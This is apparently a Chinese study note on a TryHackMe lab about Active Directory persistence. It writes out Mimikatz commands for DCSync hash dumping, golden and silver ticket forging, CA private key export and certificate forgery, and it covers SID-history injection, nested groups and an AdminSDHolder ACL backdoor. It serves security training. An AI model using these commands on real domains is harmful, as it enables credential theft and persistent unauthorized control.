THM域学习PersistingActiveDirectory
Introduction
学习目标
在这个网络中，我们将介绍几种可用于在 AD 中持久化的方法。 这绝不是一个完整的列表，因为可用的方法通常是高度情境化的，并且依赖于 AD 结构和环境。 但是，我们将介绍以下持久 AD 技术：
AD 凭据和 DCSync-ing
银票和金票
AD证书
AD 安全标识符 (SID)
访问控制列表
组策略对象 (GPO)
Persistence through Credentials
由于我们为您提供对整个域的完全访问权限，因此我们无法真正隐藏任何标志或强迫您确保在回答问题之前自己执行这些持久性技术。 不过，我们鼓励您花时间尝试这些方法，因为当蓝队开始将您踢出局时，它们将作为红队评估的回报。
我们将讨论的第一个也是最不可靠的持久性技术是凭证。 前面讨论的一些横向技术可能会导致攻击者获得凭证的访问权限。 当使用“凭据”一词时，它可能意味着用户名和密码对，但在 AD 上下文中，即使是密码哈希也足以通过哈希传递技术进行身份验证。
DC Sync
在大型组织中，每个域只有一个域控制器是不够的。 这些域通常在多个区域位置使用，并且拥有单个 DC 会显着延迟 AD 中的任何身份验证服务。 因此，这些组织使用多个 DC。 那么问题就变成了，您如何在两个不同的办公室使用相同的凭据进行身份验证？
这个问题的答案是域复制。 每个域控制器都运行一个称为知识一致性检查器 (KCC) 的进程。 KCC为AD林生成复制拓扑，并通过远程过程调用（RPC）自动连接到其他域控制器以同步信息。 这包括更新的信息，例如用户的新密码和新对象，例如创建新用户的时间。 这就是为什么您在更改密码后通常必须等待几分钟才能进行身份验证，因为发生密码更改的 DC 可能与您进行身份验证的 DC 不同。
复制过程称为 DC 同步。 不仅仅是 DC 可以启动复制。 属于域管理员组的帐户也可以出于合法目的（例如创建新的域控制器）执行此操作。
一种流行的攻击是 DC 同步攻击。 如果我们有权访问具有域复制权限的帐户，我们可以发起 DC 同步攻击以从 DC 获取凭据。
并非所有凭证都是一样的
在开始 DC 同步攻击之前，我们首先讨论一下我们可能会寻找哪些凭据。 虽然我们应该始终寻求转储特权凭据，例如域管理员组成员的凭据，但这些也是首先要轮换的凭据（蓝队术语，意思是重置帐户密码）。 因此，如果我们只有特权凭证，可以肯定地说，一旦蓝队发现我们，他们就会轮换这些帐户，我们可能会失去访问权限。
那么我们的目标就是坚持拥有接近特权的凭证。 我们并不总是需要王国的完整钥匙； 我们只需要足够的钥匙来确保我们仍然能够实现目标执行并始终让蓝队保持警惕。 因此，我们应该尝试通过如下凭证来持久保存：
- 在多台计算机上具有本地管理员权限的凭据。 通常，组织有一两个组在几乎所有计算机上都具有本地管理员权限。 这些组通常分为一组用于工作站，一组用于服务器。 通过获取这些团体成员的凭据，我们仍然可以访问该庄园中的大部分计算机。
- 具有委派权限的服务帐户。 使用这些帐户，我们将能够强制金票和银票执行 Kerberos 委派攻击。
- 用于特权 AD 服务的帐户。 如果我们泄露特权服务（例如 Exchange、Windows Server Update Services (WSUS) 或 System Center Configuration Manager (SCCM)）的帐户，我们可以利用 AD 漏洞再次获得 特权立足点。
当谈到要转储和保留哪些凭证时，它受到很多因素的影响。 您必须发挥创意并根据具体情况进行思考。 然而，对于这个房间，我们将享受一些乐趣，让蓝队流汗，并放弃我们能得到的每一份凭证！
DCSync All
我们将使用 Mimikatz 来获取凭证。 使用 DA 帐户通过 SSH 登录 THMWRK1 并加载 Mimikatz：
Terminal
Microsoft Windows [Version 10.0.17763.1098] |
让我们首先对我们自己的单个帐户执行 DC 同步：
Mimikatz Terminal
mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /user:<Your low-privilege AD Username> |
您将看到相当多的输出，包括您帐户当前的 NTLM 哈希值。 您可以使用此类网站将您的密码转换为 NTLM 哈希来验证 NTLM 哈希是否正确。
这很棒，但我们希望 DC 同步每个帐户。 为此，我们必须在 Mimikatz 上启用日志记录：
Mimikatz Terminal
mimikatz # log <username>_dcdump.txt |
确保将
Mimikatz Terminal
mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /all |
这将需要一些时间才能完成。 完成后，退出 Mimikatz 以完成转储查找，然后您可以下载 cat <用户名>_dcdump.txt | grep "SAM Username" 恢复所有用户名和 cat <username>_dcdump.txt | grep "Hash NTLM" 用于所有哈希。 现在，我们可以执行离线密码破解攻击来恢复纯文本凭证，或者简单地使用 Mimikatz 执行哈希传递攻击。
Persistence through Tickets
正如前面任务中所讨论的，我们经常希望通过具有委派权限的服务帐户来持久化伪造银票和金票。 但这些到底是什么，为什么每次蓝队桌面演习结束时都会有人大喊：“冲掉所有金票和银票！”。
巧克力工厂门票
在讨论金票和银票之前，我们首先需要快速回顾一下 Kerberos 身份验证。 下图显示了 Kerberos 身份验证的正常流程：
用户向 DC 上的密钥分发中心 (KDC) 发出 AS-REQ，其中包含使用用户的 NTLM 哈希加密的时间戳。 本质上，这是对票据授予票据（TGT）的请求。 DC检查信息后将TGT发送给用户。 此 TGT 使用仅存储在 DC 上的 KRBTGT 帐户的密码哈希进行签名。 用户现在可以将此 TGT 发送到 DC，以请求用户想要访问的资源的票证授予服务 (TGS)。 如果 TGT 签出，DC 会响应使用用户请求访问的服务的 NTLM 哈希加密的 TGS。 然后，用户将此 TGS 提交给服务进行访问，服务可以验证 TGS，因为它知道自己的哈希值并可以授予用户访问权限。
说了所有这些背景理论后，是时候研究一下金票和银票了。
黄金门票
金票是伪造的 TGT。 这意味着我们绕过上图中的步骤 1 和 2，向 DC 证明我们是谁。 拥有特权帐户的有效 TGT，我们现在可以为几乎任何我们想要的服务请求 TGS。 为了伪造金票，我们需要 KRBTGT 帐户的密码哈希，以便我们可以为我们想要的任何用户帐户签署 TGT。 关于金票的一些有趣的说明：
- 通过在 Kerberos 进程的这个阶段注入，我们不需要我们想要模拟的帐户的密码哈希，因为我们绕过了该步骤。 TGT仅用于证明DC上的KDC对其进行了签名。 由于它是由 KRBTGT 哈希签名的，因此该验证通过，并且无论其内容如何，TGT 都被声明为有效。
- 说到内容，KDC 将仅验证 TGT 中指定的用户帐户（如果该帐户早于 20 分钟）。 这意味着我们可以将禁用、删除或不存在的帐户放入 TGT，只要我们确保时间戳不超过 20 分钟，它就有效。
- 由于票证的策略和规则是在 TGT 本身中设置的，因此我们可以覆盖 KDC 推送的值，例如票证只能在 10 小时内有效。 例如，我们可以确保我们的 TGT 有效期为 10 年，从而赋予我们持久性。
- 默认情况下，KRBTGT 帐户的密码永远不会更改，这意味着一旦我们拥有它，除非手动轮换，否则我们可以通过永久生成 TGT 来获得持久访问权限。
- 蓝队必须将 KRBTGT 帐户的密码轮换两次，因为当前密码和以前的密码对该帐户仍然有效。 这是为了确保密码的意外轮换不会影响服务。
- 对于蓝队来说，轮换 KRBTGT 帐户的密码是一个极其痛苦的过程，因为这会导致环境中的大量服务停止工作。 他们认为自己拥有有效的 TGT，有时在接下来的几个小时内有效，但该 TGT 不再有效。 并非所有服务都足够聪明，可以释放不再有效的 TGT（因为时间戳仍然有效），因此不会自动请求新的 TGT。
- 黄金票证甚至允许您绕过智能卡身份验证，因为智能卡在创建 TGT 之前已由 DC 进行验证。
- 我们可以在任何机器上生成黄金票证，甚至是未加入域的机器（例如我们自己的攻击机器），使蓝队更难检测到。
除了 KRBTGT 帐户的密码哈希之外，我们只需要要模拟的人的域名、域 SID 和用户 ID。 如果我们能够恢复 KRBTGT 帐户的密码哈希值，那么我们就已经能够恢复所需信息的其他部分。
银票
银票是伪造的 TGS 票。 因此，现在，我们跳过与 DC 上的 KDC 进行的所有通信（上图中的步骤 1-4），而仅与我们想要直接访问的服务进行交互。 关于银票的一些有趣的说明：
- 生成的 TGS 由我们目标主机的计算机帐户签名。
- 金票和银票之间的主要区别在于我们获得的特权数量。 如果我们拥有 KRBTGT 帐户的密码哈希值，我们就可以访问所有内容。 使用银票，由于我们只能访问我们正在攻击的服务器的计算机帐户的密码哈希，因此我们只能模拟该主机本身的用户。 银票的范围仅限于特定服务器上的任何服务。
- 由于 TGS 是伪造的，因此没有关联的 TGT，这意味着从未联系过 DC。 这使得攻击极其危险，因为唯一可用的日志位于目标服务器上。 因此，虽然范围更加有限，但蓝队检测起来要困难得多。
- 由于权限是通过 SID 确定的，因此我们可以再次为银票证创建一个不存在的用户，只要我们确保该票证具有将用户置于主机的本地管理员组中的相关 SID。
- 这机器帐户的密码通常每 30 天轮换一次，这不利于持久性。 但是，我们可以利用 TGS 提供的访问权限来访问主机注册表并更改负责机器帐户密码轮换的参数。 从而确保机器帐户保持静态并授予我们在机器上的持久性。
- 虽然只能访问单个主机可能看起来像是一个重大降级，但计算机帐户可以用作普通 AD 帐户，不仅允许您对主机进行管理访问，还可以像使用 AD 一样继续枚举和利用 AD AD 用户帐户。
伪造门票以获取乐趣和利润
现在我们已经解释了金票和银票的基础知识，让我们生成一些。 您将需要 KRBTGT 帐户的 NTLM 哈希值，由于在上一个任务中执行了 DC 同步，您现在应该拥有该哈希值。 此外，记下与 THMSERVER1 计算机帐户关联的 NTLM 哈希值，因为我们需要这个哈希值作为银票。 您可以在执行的 DC 转储中找到此信息。我们需要的最后一条信息是域 SID。 使用 THMWRK1 上的低特权 SSH 终端，我们可以使用 AD-RSAT cmdlet 来恢复此信息：
Terminal
za\aaron.jones@THMWRK1 C:\Users\Administrator.ZA>powershell |
现在我们已经拥有了所有必需的信息，我们可以重新启动 Mimikatz：
Terminal
za\aaron.jones@THMWRK1 C:\Users\Administrator.ZA>C:\Tools\mimikatz_trunk\x64\mimikatz.exe |
加载 Mimikatz 后，执行以下操作以生成黄金票证：
Mimikatz Terminal
mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /krbtgt:<NTLM hash of KRBTGT account> /endin:600 /renewmax:10080 /ptt |
参数解释：
- /admin - 我们要模拟的用户名。这不必是有效用户。
- /domain - 我们要为其生成票证的域的 FQDN。
- /id - 用户 RID。默认情况下，Mimikatz 使用 RID 500，这是默认的管理员帐户 RID。
- /sid - 我们要为其生成票证的域的 SID。
- /krbtgt -KRBTGT 帐户的 NTLM 哈希值。
- /endin - 票证有效期。默认情况下，Mimikatz 生成一张有效期为 10 年的票证。 AD默认的Kerberos策略是10小时（600分钟）
- /renewmax - 续订的最长票证生命周期。默认情况下，Mimikatz 生成一张有效期为 10 年的票证。 AD默认的Kerberos策略是7天（10080分钟）
- /ptt - 该标志告诉 Mimikatz 将票据直接注入会话中，这意味着它已准备好使用。
我们可以通过对域控制器运行 dir 命令来验证黄金票证是否正常工作：
Terminal
za\aaron.jones@THMWRK1 C:\Users\Administrator.ZA>dir \\thmdc.za.tryhackme.loc\c$\ |
即使金票的时间非常长，蓝队仍然可以通过简单地旋转 KRBTGT 密码两次来防御这一点。如果我们真的想挖掘我们的根源，我们希望生成银票，这种票不太可能被发现，而且更难防御，因为每个机器帐户的密码都必须轮换。我们可以使用以下 Mimikatz 命令来生成银票：
Mimikatz Terminal
mimikatz # kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /ptt |
参数解释：
- /admin - 我们要模拟的用户名。这不必是有效用户。
- /domain - 我们要为其生成票证的域的 FQDN。
- /id - 用户 RID。默认情况下，Mimikatz 使用 RID 500，这是默认的管理员帐户 RID。
- /sid - 我们要为其生成票证的域的 SID。
- /target - 我们的目标服务器的主机名。让我们做 THMSERVER1.za.tryhackme.loc，但它可以是任何加入域的主机。
- /rc4 - 我们目标的计算机帐户的 NTLM 哈希值。查看 DC 同步结果以查找 THMSERVER1$ 的 NTLM 哈希值。 $ 表示它是一个机器帐户。
- /service - 我们在 TGS 中请求的服务。 CIFS 是一个安全的选择，因为它允许文件访问。
- /ptt - 该标志告诉 Mimikatz 将票据直接注入会话中，这意味着它已准备好使用。
我们可以通过对 THMSERVER1 运行 dir 命令来验证银票是否正常工作：
Terminal
za\aaron.jones@THMWRK1 C:\Users\Administrator.ZA>dir \\thmserver1.za.tryhackme.loc\c$\ |
现在我们拥有进入 AD 环境的金票和银票，提供比凭证更好的持久性！
Persistence through Certificates
这里有一个快速说明。从现在开始讨论的技术具有令人难以置信的侵入性并且难以消除。即使您已批准红队练习来执行这些技术，您在执行这些技术时也必须格外小心。在现实场景中，利用大多数这些技术将导致完整的域重建。确保您完全了解使用这些技术的后果，并且仅在您的评估事先获得批准并且认为有必要时才执行这些技术。在大多数情况下，红队演习此时将被取消，而不是使用这些技术。这意味着您很可能不会执行这些持久性技术，而是模拟它们。
最后两种持久性技术依赖于凭据。虽然我们绝对可以让蓝队的生活变得复杂，但他们最终可以轮换足够的凭证来把我们踢出去。因此，虽然这些技术非常适合让蓝队忙碌，而我们也让他们忙碌，但我们应该考虑使用与凭据无关的持久性技术，这意味着这些技术的轮换不会将我们踢出局。我们首先要查看的是证书。
AD CS回归
在利用AD房间中，我们利用证书成为域管理员。但是，证书也可用于持久性。我们所需要的只是一个可用于客户端身份验证的有效证书。这将允许我们使用证书来请求 TGT。这有什么美感？我们可以继续请求 TGT，无论他们在我们攻击的账户上进行了多少轮换。我们被踢出的唯一方法是他们撤销我们生成的证书或者证书过期。这意味着我们可能在接下来的大约 5 年里默认拥有持久访问权限。
如果您有兴趣了解有关请求证书并将其用于 Kerberos 身份验证的最新信息，请转至利用 AD 或 AD 证书模板室。然而，在这个房间里，我们并没有闲逛。我们正在追查证书颁发机构 (CA) 本身。
根据我们的访问权限，我们可以更进一步。我们可以简单地窃取根 CA 证书的私钥，以便在需要时生成我们自己的证书。更糟糕的是，由于这些证书从未由 CA 颁发，因此蓝队没有能力撤销它们。这对于蓝队来说更糟糕，因为这意味着 CA 的轮换，这意味着蓝队必须撤销所有颁发的证书才能将我们踢出局。想象一下，您最近两天刚刚通过轮换每个特权帐户的凭据、重置所有金票和银票来执行域回收，只是为了意识到攻击者通过成为您的 CA 来持续存在。哎呀！
提取私钥
CA的私钥存储在CA服务器本身上。如果私钥未通过基于硬件的保护方法（例如硬件安全模块 (HSM)）进行保护（对于仅将 Active Directory 证书服务 (AD CS) 用于内部目的的组织来说通常是这种情况），则它会受到机器数据保护 API (DPAPI)。这意味着我们可以使用 Mimikatz 和 SharpDPAPI 等工具来提取 CA 证书，从而从 CA 中提取私钥。 Mimikatz 是最简单的工具，但如果您想体验其他工具，请查看此处。使用任务 2 中的管理员凭据使用 SSH 对 THMDC.za.tryhackme.loc 进行身份验证，为您的用户创建一个唯一的目录，移至该目录并加载 Mimikatz：
Terminal
za\administrator@DC C:\Users\Administrator.ZA>mkdir <username> |
我们先看看能否查看到DC上存储的证书：
Mimikatz Terminal
mimikatz # crypto::certificates /systemstore:local_machine |
我们可以看到DC上有CA证书。我们还可以注意到，其中一些证书被设置为不允许我们导出密钥。如果没有这个私钥，我们将无法生成新的证书。幸运的是，Mimikatz 允许我们修补内存以使这些密钥可导出：
Mimikatz Terminal
mimikatz # privilege::debug |
如果您收到错误，请不要担心，这只是意味着其他人在您之前执行了该补丁。修补这些服务后，我们可以使用 Mimikatz 导出证书：
Mimikatz Terminal
mimikatz # crypto::certificates /systemstore:local_machine /export |
导出的证书将以 PFX 和 DER 格式存储到磁盘：
Terminal
za\administrator@THMDC C:\Users\Administrator.ZA\am0>dir |
“za-THMDC-CA.pfx”证书是我们特别感兴趣的证书。为了导出私钥，必须使用密码来加密证书。默认情况下，Mimikatz 分配的密码为“mimikatz”。使用 SCP 下载或复制此证书到您的 AttackBox，然后将其复制到 THMWRK1 上的低权限用户的主目录。如果您愿意，还可以在自己的未加入域的 Windows 计算机上执行其余步骤。
生成我们自己的证书
现在我们有了私钥和根 CA 证书，我们可以使用 SpectorOps ForgeCert 工具为我们想要的任何用户伪造客户端身份验证证书。 ForgeCert 和 Rubeus 二进制文件存储在 THMWRK1 上的 C:\Tools\ 目录中。让我们使用 ForgeCert 生成一个新证书：
Terminal
za\aaron.jones@THMWRK1 C:\Users\aaron.jones>C:\Tools\ForgeCert\ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123 |
参数解释：
- CaCertPath - 我们导出的 CA 证书的路径。
- CaCertPassword - 用于加密证书的密码。默认情况下，Mimikatz 分配的密码为“mimikatz”。
- Subject - 证书的主题或通用名称。对于我们使用证书的用途而言，这并不重要。
- SubjectAltName - 这是我们要使用此证书模拟的帐户的用户主体名称 (UPN)。它必须是合法用户。
- NewCertPath - ForgeCert 将存储生成的证书的路径。
- NewCertPassword - 由于证书需要导出私钥用于身份验证，因此我们必须设置一个用于加密它的新密码。
我们可以使用 Rubeus 来使用证书请求 TGT，以验证证书是否可信。我们将使用以下命令：
C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:za.tryhackme.loc /dc:<IP of domain controller> |
我们来分解一下参数：
- /user - 这指定我们将模拟的用户，并且必须与我们生成的证书的 UPN 相匹配
- /enctype - 这指定票证的加密类型。设置此项对于规避很重要，因为默认加密算法很弱，这会导致溢出警报
- /certificate - 我们生成的证书的路径
- /password - 我们的证书文件的密码
- /outfile - TGT 将输出到的文件
- /domain - 我们当前攻击的域的 FQDN
- /dc - 我们请求 TGT 的域控制器的 IP。通常，最好选择运行CA服务的DC
执行命令后，我们应该会收到 TGT：
Terminal
za\aaron.jones@THMWRK1 C:\Users\aaron.jones>C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:vulncert.pfx /password:tryhackme /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.x.101 |
现在我们可以使用 Mimikatz 加载 TGT 并向 THMDC 进行身份验证：
Terminal
za\aaron.jones@THMWRK1 C:\Users\aaron.jones>C:\Tools\mimikatz_trunk\x64\mimikatz.exe |
我们不再是蓝队的朋友
证书持久性的防御难度要大得多。即使您轮换受感染帐户的凭据，证书仍然有效。消除持久性的唯一方法是吊销证书。但是，只有当我们通过合法渠道生成证书时，这才可能实现。由于我们导出了 CA 并自己生成了证书，因此它不会出现在 AD CS 的已颁发证书列表中，这意味着蓝队将无法撤销我们的证书。
那么消除持久性的唯一解决方案是什么？好吧，这就是为什么我们不再是朋友了。他们必须吊销根 CA 证书。但是吊销这个证书意味着AD CS颁发的所有证书都会突然失效。这意味着他们必须为每个使用 AD CS 的系统生成新证书。您应该开始明白为什么这种类型的持久性非常危险，并且如果执行则需要完全重建系统。
Persistence through SID History
安全标识符 (SID) 之前已讨论过。但回顾一下，SID 用于在连接到资源时跟踪安全主体和帐户的访问权限。然而，帐户有一个有趣的属性，称为 SID 历史记录。
SID 历史记录的合法用例是使一个帐户的访问权限能够有效地克隆到另一个帐户。当组织忙于执行 AD 迁移时，这一点非常有用，因为它允许用户在迁移到新域时保留对原始域的访问权限。在新域中，用户将拥有新的 SID，但我们可以将用户现有的 SID 添加到 SID 历史记录中，这仍然允许他们使用新帐户访问先前域中的资源。虽然 SID 历史记录有利于迁移，但我们作为攻击者也可以滥用此功能来实现持久性。
历史可以是我们想要的任何东西
问题是，SID 历史记录并不仅限于包含来自其他域的 SID。有了正确的权限，我们只需将当前域的 SID 添加到我们控制的帐户的 SID 历史记录中即可。关于这种持久性技术的一些有趣的注释：
- 我们通常需要域管理员权限或同等权限才能执行此攻击。
- 当帐户创建登录事件时，与该帐户关联的 SID 将添加到用户的令牌中，然后由该令牌确定与该帐户关联的权限。这包括组 SID。
- 如果我们注入企业管理员 SID，我们可以进一步采取这种攻击，因为这会提升帐户的权限，使其成为林中所有域中的域管理员。
- 由于 SID 已添加到用户的令牌中，因此即使该帐户不是实际组的成员，也会尊重权限。这使得这是一种非常狡猾的持久方法。我们拥有危害整个域（也许是整个林）所需的所有权限，但我们的帐户可以只是一个普通用户帐户，仅具有域用户组的成员身份。通过始终使用此帐户来更改另一个帐户的 SID 历史记录，我们可以将偷偷摸摸的行为提升到另一个级别，因此初始持久性向量不那么容易被发现和补救。
锻造历史
使用下一部分的管理员凭据在 THMDC 上获取 SSH 会话。在我们伪造 SID 历史之前，让我们首先获取一些有关 SID 的信息。首先，让我们确保我们的低权限用户当前在其 SID 历史记录中没有任何信息：
Terminal
za\aaron.jones@THMCHILDDC C:\Users\Administrator.ZA>powershell |
这证实我们的用户当前没有设置任何 SID 历史记录。让我们获取 Domain Admins 组的 SID，因为这是我们要添加到 SID 历史记录中的组：
Terminal
PS C:\Users\Administrator.ZA> Get-ADGroup "Domain Admins" |
我们可以使用 Mimikatz 之类的东西来添加 SID 历史记录。然而，最新版本的 Mimikatz 有一个缺陷，不允许它修补 LSASS 来更新 SID 历史记录。因此我们需要使用其他东西。在这种情况下，我们将使用DSInternals工具直接修补ntds.dit文件，即存储所有信息的AD数据库：
Terminal
PS C:\Users\Administrator.ZA>Stop-Service -Name ntds -force |
NTDS 服务运行时，NTDS 数据库被锁定。为了修补我们的 SID 历史记录，我们必须首先停止该服务。 补丁后必须重新启动NTDS服务，否则整个网络的认证将无法进行。
执行这些步骤后，让我们使用低权限凭据通过 SSH 登录到 THMWRK1，并验证是否已添加 SID 历史记录以及我们现在是否具有域管理员权限：
Terminal
za\aaron.jones@THMWRK1 C:\Users\aaron.jones>powershell |
根据上面的输出，效果很好！我们能够伪造我们的 SID 历史记录，授予我们的低特权帐户 DA 访问权限！
蓝队的干草叉和火把
如果您要通过 RDP 访问其中一台主机并使用 AD 用户和组管理单元，您将能够查看添加到您的用户的 SID 历史属性。但是，即使拥有尽可能高的权限，您也无法删除该属性，因为它受到保护。为了删除它，您必须使用 AD-RSAT PowerShell cmdlet 等工具来删除 SID 历史记录。
然而，在考虑删除恶意 SID 历史属性之前，您首先需要找到它们。任何常规工具都不会告诉您出现问题。该用户不会突然成为域管理员组的成员。因此，除非您主动过滤用户的属性，否则很难找到它。这是因为 SID 历史记录仅在用户通过身份验证后才会应用和使用。
想象一下，您是蓝队，正在处理刚刚执行域名回收的事件。您将 krbtgt 帐户的密码轮换了两次，删除了金票和银票，并从头开始重建了整个 CA 服务器，只是为了看到攻击者仍在使用低权限帐户执行 DA 命令。这不会是美好的一天。
Persistence through Group Membership
如果我们不想篡改SID历史记录，我们可以直接将自己添加到AD组中以实现持久化。虽然 SID 历史记录是一种很好的持久性技术，但凭证轮换和清理仍然可以消除我们的持久性。在某些情况下，通过针对 AD 组本身来执行持久性可能会更好。
通过团体成员身份坚持下去
正如任务 1 中所讨论的，最具特权的帐户或组并不总是最适合用于持久性。特权群体比其他群体受到更密切的变化监控。任何归类为受保护组的组（例如域管理员或企业管理员）都会接受额外的安全审查。因此，如果我们想通过组成员身份来持久保留，我们可能需要对我们添加自己的帐户以实现持久性的组发挥创意：
- IT 支持组可用于获取权限，例如强制更改用户密码。尽管在大多数情况下，我们无法重置特权用户的密码，但能够重置低特权用户的密码可以让我们扩展到工作站。
- 提供本地管理员权限的组通常不会像受保护组那样受到严格监控。通过网络支持组的组成员身份获得正确主机的本地管理员权限，我们可能具有良好的持久性，可用于再次危害域。
- 这并不总是与直接特权有关。有时，具有间接特权的组（例如组策略对象 (GPO) 的所有权）也同样有利于持久性。
嵌套组
在大多数组织中，都有大量的递归组。递归组是属于另一个组的成员的组。我们可以将其视为组嵌套。组嵌套用于在 AD 中创建更有组织的结构。以 IT 支持小组为例。 IT 支持非常笼统。因此，该组下面可能还有帮助台、门禁卡管理员和网络管理员等子组。我们可以将所有这些组作为成员添加到 IT 支持组，这为这些子组中的所有用户提供与 IT 支持组关联的权限和特权，但我们随后可以为每个子组分配更细化的权限和特权。
虽然组嵌套有助于组织 AD，但它确实降低了有效访问的可见性。再次以我们的 IT 支持为例。如果我们查询 AD 的 IT 支持组成员资格，它会以计数 3 进行响应。然而，这个计数并不真实，因为它是三组。为了了解有效访问的想法，我们现在还必须枚举这些子组。但这些子组也可以有子组。那么问题就变成了：“我们应该枚举多少层深度才能得到真正的有效访问数？”
这也成为一个监控问题。举例来说，当新成员添加到域管理员组时，我们会触发一个警报。这是一个很好的警报，但如果将用户添加到域管理员组内的子组，则不会触发该警报。这是一个非常常见的问题，因为 AD 由 AD 团队管理，警报和监控由 InfoSec 团队管理。我们所需要的只是一点点沟通不畅，并且由于使用了子组，因此警报不再有效。
作为攻击者，我们可以利用这种降低的可见性来执行持久性。我们没有将注意力集中在为我们提供环境访问权限的特权群体上，而是将注意力集中在子群体上。我们不是将自己添加到会发出警报的特权组，而是将自己添加到不受监控的子组。
筑巢我们的坚持
让我们模拟这种类型的持久性。为了允许其他用户也执行该技术，请确保将您的用户名添加到您创建的所有组中。为了模拟持久性，我们将创建一些我们自己的组。首先，我们创建一个新的基本组，将其隐藏在 People->IT Organizational Unit (OU) 中：
Terminal
PS C:\Users\Administrator.ZA>New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 1" -SamAccountName "<username>_nestgroup1" -DisplayName "<username> Nest Group 1" -GroupScope Global -GroupCategory Security |
现在让我们在 People->Sales OU 中创建另一个组，并将之前的组添加为成员：
Terminal
PS C:\Users\Administrator.ZA>New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 2" -SamAccountName "<username>_nestgroup2" -DisplayName "<username> Nest Group 2" -GroupScope Global -GroupCategory Security |
我们可以多执行几次，每次都将前一个组添加为成员：
Terminal
PS C:\Users\Administrator.ZA> New-ADGroup -Path "OU=CONSULTING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 3" -SamAccountName "<username>_nestgroup3" -DisplayName "<username> Nest Group 3" -GroupScope Global -GroupCategory Security |
对于最后一个组，我们现在将该组添加到 Domain Admins 组：
Terminal
PS C:\Users\Administrator.ZA>Add-ADGroupMember -Identity "Domain Admins" -Members "<username>_nestgroup5" |
最后，让我们将低权限的 AD 用户添加到我们创建的第一个组中：
Terminal
PS C:\Users\Administrator.ZA>Add-ADGroupMember -Identity "<username>_nestgroup1" -Members "<low privileged username>" |
您的低权限用户现在应该立即拥有对 THMDC 的特权访问权限。让我们使用 THMWRK1 上的 SSH 终端来验证这一点：
Terminal
za\aaron.jones@THMWRK1 C:\Users\aaron.jones>dir \\thmdc.za.tryhackme.loc\c$\ |
我们还验证一下，即使我们创建了多个组，Domain Admins 组也只有一名新成员：
Terminal
PS C:\Users\Administrator.ZA> Get-ADGroupMember -Identity "Domain Admins" |
烦人的不仅仅是蓝队
如果这是一个真正的组织，我们就不会创建新的组来嵌套。相反，我们将利用现有的组来执行嵌套。然而，这是你在正常的红队评估中永远不会做的事情，并且几乎总是在此时脱链，因为它破坏了组织的 AD 结构，如果我们充分破坏它，他们将无法恢复。此时，即使蓝队能够把我们踢出去，该组织很可能仍然需要从头开始重建整个 AD 结构，从而造成重大损失。
Persistence through ACLs
有时候，我们需要的不仅仅是坚持正常的 AD 群体。如果我们想同时坚持所有受保护的组怎么办？
通过 AD 组模板保留
虽然我们可以将我们控制的帐户添加到我们能找到的每个特权组中，但蓝队仍然能够执行清理并删除我们的成员资格。为了确保更好的持久性并让蓝队摸不着头脑，我们应该注入生成默认组的模板。通过注入这些模板，即使他们删除了我们的会员资格，我们只需要等到模板刷新，我们就会再次被授予会员资格。
AdminSDHolder 容器就是这样的模板之一。该容器存在于每个 AD 域中，并使用其访问控制列表 (ACL) 作为模板，将权限复制到所有受保护的组。受保护组包括特权组，例如域管理员、管理员、企业管理员和架构管理员。如果您正在寻找完整的组列表，可以在此处找到它们。
名为 SDProp 的进程每 60 分钟获取 AdminSDHolder 容器的 ACL 并将其应用于所有受保护组。因此，我们可以编写一个 ACE 来授予我们对所有受保护组的完全权限。如果蓝队不知道正在使用这种类型的持久性，那将是相当令人沮丧的。每次他们删除对受保护对象或组的不当权限时，该权限都会在一小时内重新出现。由于这种重建是通过正常的 AD 过程进行的，因此它也不会向蓝队显示任何警报，从而更难查明持久性的来源。
坚持使用 AdminSDHolder
为了将持久性部署到 AdminSDHolder，我们将使用 Microsoft 管理控制台 (MMC)。为了避免将用户踢出 RDP 会话，最好使用低特权凭据将 RDP 插入 THMWRK1，使用 runas 命令注入管理员凭据，然后从这个新终端执行 MMC：
runas /netonly /user:thmchilddc.tryhackme.loc\Administrator cmd.exe |
有了 MMC 窗口后，添加用户和组管理单元（文件 -> 添加管理单元 -> Active Directory 用户和计算机）。确保启用高级功能（查看->高级功能）。我们可以在Domain->System下找到AdminSDHolder组：
导航到组的安全性（右键单击->属性->安全）：
让我们添加低权限用户并授予完全控制权：
- 单击“添加”。
- 搜索您的低权限用户名，然后单击“检查名称”。
- 单击确定。
- 单击“完全控制”上的“允许”。
- 单击“应用”。
- 单击“确定”。
它应该看起来像这样：
SDProp
现在我们只需要等待 60 分钟，我们的用户就可以完全控制所有受保护的组。这是因为安全描述符传播器 (SDProp) 服务每 60 分钟自动执行一次，并将此更改传播到所有受保护组。但是，由于我们不喜欢等待，因此让我们使用 Powershell 手动启动该过程。在C:\Tools\目录中，提供了一个脚本Invoke-ADSDPropagation：
Terminal
PS C:\Tools> Import-Module .\Invoke-ADSDPropagation.ps1 |
完成后，稍等片刻，然后检查受保护组（例如 Domain Admins 组）的安全权限（您可以使用搜索命令来查找该组）：
完成后，稍等一下，然后检查受保护组（例如 Domain Admins 组）的安全权限（您可以使用搜索命令找到该组）： 可以看到，我们的低权限用户可以完全控制团体。您可以通过从安全权限中删除您的用户并重新运行 PowerShell 脚本来验证此行为是否会继续传播。您的用户将被再次添加。有趣的是，虽然我们有修改组的权限，但它并不会自动将我们添加到组中：
但是，使用新的权限，我们可以将自己添加到该组中：
蓝队正在走下坡路
